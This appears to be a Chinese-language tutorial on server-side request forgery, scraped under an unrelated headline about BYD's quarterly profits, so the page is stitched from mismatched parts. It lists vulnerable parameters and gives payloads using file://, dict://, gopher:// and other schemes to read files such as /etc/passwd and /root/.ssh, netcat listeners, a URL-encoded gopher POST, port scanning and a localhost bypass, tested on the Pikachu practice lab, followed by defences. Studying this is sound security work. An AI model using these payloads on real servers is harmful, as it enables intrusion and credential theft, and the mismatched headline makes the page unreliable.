1. 程式人生 > 資訊 >比亞迪預計 Q1 淨利潤同比增長至高 300%,新能源汽車銷量創歷史新高但手機業務疲弱

比亞迪預計 Q1 淨利潤同比增長至高 300%,新能源汽車銷量創歷史新高但手機業務疲弱

SSRF伺服器請求偽造

概念

SSRF(服務端請求偽造):是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下,SSRF攻擊的目標是從外網無法訪問的內部系統。

SSRF形成的原因:服務端提供了從其他伺服器應用獲取資料的功能且沒有對目標地址做過濾與限制。

攻擊方式

1.訪問伺服器所在內網-埠掃描,獲取一些服務的banner資訊

2.向內部任意主機的任意埠傳送payload來攻擊內網服務

3.攻擊內網的web應用,例如直接SQL注入、XSS攻擊等

4.利用file、gopher、dict協議讀取本地檔案、執行命令等

5.上傳檔案

6.造成內外網DDOS攻擊
...

漏洞點

1.分享功能
2.圖片載入與下載
3.圖片、文章收藏功能
4.轉碼服務
5.線上翻譯
6.從URL關鍵字中尋找
	share
	wap
	url
	link
	src
	source
	target
	u
	3g
	display
	sourceURl
	imageURL
	domain
	...

選擇合適的點進行判斷有無SSRF,可以直接引入外鏈的圖片,檢視是否能引入圖片

http://www.xxxx.com/***/service?image=http://www.baidu.com/img/bd_logo1.png

偽協議

對於不同語言實現的web系統可以使用的協議也存在不同的差異,其中:
php:
http、https、file、gopher、phar、dict、ftp、ssh、telnet...
java:
http、https、file、ftp、jar、netdoc、mailto...
1.file:///  本地檔案傳輸協議,File協議主要用於訪問本地計算機中的檔案
http://example.com/ssrf.php?url=file:///etc/passwd     file:///root/.ssh
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

2.dict://   dict://serverip:port/命令:引數 向伺服器的埠請求為【命令:引數】,並在末尾自動補上\r\n(CRLF),為漏洞利用增添了便利,通過dict協議的話要一條一條的執行,而gopher協議執行一條命令就行了。

http://example.com/ssrf.php?dict://IP:1111/data:data2 (dict可以向服務埠請求data data2) 
IPHOST:$ nc -lvvp 1111

3.sftp:// Sftp代表SSH檔案傳輸協議,或安全檔案傳輸協議,這是一種與SSH打包在一起的單獨協議,它執行在安全連線上,並以類似的方式進行工作。
http://example.com/ssrf.php?url=sftp://IP:1111/ 
IPHOST:$ nc -lvvp 1111

4.ldap://或ldaps:// 或ldapi://     LDAP代表輕量級目錄訪問協議。它是IP網路上的一種用於管理和訪問分散式目錄資訊服務的應用程式協議。
http://example.com/ssrf.php?url=ldap://localhost:1111/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1111/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1111/%0astats%0aquit

5.tftp://   TFTP(簡單檔案傳輸協議)是一種簡單的基於lockstep機制的檔案傳輸協議,它允許客戶端從遠端主機獲取檔案或將檔案上傳至遠端主機。
http://example.com/ssrf.php?url=tftp://IP:1111/TEST
IPHOST:# nc -lvup 1111

6.gopher://  Gopher是一種分散式文件傳遞服務。利用該服務,使用者可以無縫地瀏覽、搜尋和檢索駐留在不同位置的資訊。
http://example.com/ssrf.php?url=gopher://IP:1111/_test (向1111埠傳送資料test,同樣可以傳送POST請求)
IPHOST:# nc -lvvp 1111

file:///

用了pikachu靶場進行測試 Windows下

http://10.211.55.14:8080/pikachu/vul/ssrf/ssrf_curl.php?url=file:///C:/Windows/win.ini
http://10.211.55.14:8080/pikachu/vul/ssrf/ssrf_curl.php?url=file:///C:/test.txt

dict://

http://10.211.55.14:8080//pikachu/vul/ssrf/ssrf_curl.php?url=dict://192.168.3.73:1111/data:data2 

sftp://

http://10.211.55.14:8080//pikachu/vul/ssrf/ssrf_curl.php?url=sftp://192.168.3.73:1111/

ldap://

//不知道是不是環境的原因沒實驗成功

tftp://

http://10.211.55.14:8080//pikachu/vul/ssrf/ssrf_curl.php?url=tftp://192.168.3.73:1111/TEST

gopher://

http://10.211.55.14:8080//pikachu/vul/ssrf/ssrf_curl.php?url=gopher://192.168.3.73:1111/_TEST


利用gopher:// 傳送請求,gopher是利用SSRF+redis的重要工具。

_POST /index.php HTTP/1.1
Host: 192.168.3.73:1111
Connection: close
Content-Type: application/x-www-form-urlencoded

username=admin&password=password


url編碼
_POST%20%2Findex.php%20HTTP%2F1.1%0AHost%3A%20192.168.3.73%3A1111%0AConnection%3A%20close%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0A%0Ausername%3Dadmin%26password%3Dpassword


http://10.211.55.14:8080/pikachu/vul/ssrf/ssrf_curl.php?url=gopher://192.168.3.73:1111/_POST%20%2Findex.php%20HTTP%2F1.1%0AHost%3A%20192.168.3.73%3A1111%0AConnection%3A%20close%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0A%0Ausername%3Dadmin%26password%3Dpassword

埠掃描

http://10.211.55.14:8080/pikachu/vul/ssrf/ssrf_curl.php?url=127.0.0.1:80

可以使用burp的intruder模組爆破

//訪問https,http
http://10.211.55.14:8080/pikachu/vul/ssrf/ssrf_curl.php?url=www.baidu.com

SSRF繞過

攻擊本地

參考:https://www.secpulse.com/archives/65832.html
127.0.0.1 = localhost

利用@ 實驗就這個成功了 - -!
http://[email protected]  >>>  http://127.0.0.1/

防禦方法

1.過濾返回資訊,驗證遠端伺服器對請求的響應是比較容易的方法。如果web應用是去獲取某一種型別的檔案。那麼在把返回結果展示給使用者之前先驗證返回的資訊是否符合標準。

2.統一錯誤資訊,避免使用者可以根據錯誤資訊來判斷遠端伺服器的埠狀態。

3.限制請求的埠為http常用的埠,比如,80,443,8080,8090。

4.黑名單內網ip。避免應用被用來獲取獲取內網資料,攻擊內網。

5.禁用不需要的協議。僅僅允許http和https請求。可以防止類似於file:///,gopher://,ftp:// 等引起的問題。

參考文章

https://www.secpulse.com/archives/65832.html

https://xz.aliyun.com/t/6373#toc-8

https://mp.weixin.qq.com/s/umNUpdz6Mqvhlgqu4-9NCQ